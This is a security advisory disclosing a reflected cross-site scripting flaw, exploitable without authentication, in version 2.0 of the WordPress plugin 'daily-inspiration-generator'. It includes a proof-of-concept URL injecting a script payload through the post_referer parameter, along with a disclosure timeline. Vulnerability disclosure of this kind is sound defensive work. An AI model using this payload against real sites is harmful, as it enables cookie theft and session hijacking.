wp-plugin : daily-inspiration-generator – A3-Cross-Site Scripting (XSS)

 

Plugin Details

 

Plugin Name : daily-inspiration-generator

 

Effected Version : 2.0 (and most probably lower version's if any)

 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Anant Shrivastava

 

 

Technical Details

 

Minimum Level of Access Required : Unauthenticated

 

PoC - (Proof of Concept) :

 
 http://localhost/wp-content/plugins/daily-inspiration-generator/builder.php?post_referer=post_referer'><script>alert(document.cookie)</script>

 

Vulnerable Parameter : post_referrer

 

Type of XSS : Reflected

 

Disclosure Timeline

 

Vendor Contacted : 2014-01-04

 
Plugin Status : Closed
 
Public Disclosure : July 7, 2014
 
CVE Number : Not assigned yet

 
Plugin Description :
 
Automatically generates a daily series of posts showing the most inspiring images from the biggest galleries on the web presented throughout the day.

*Automatic generation temporarily disabled. Replaced with link under "Post" menu*

**Very important that you read the instructions!**

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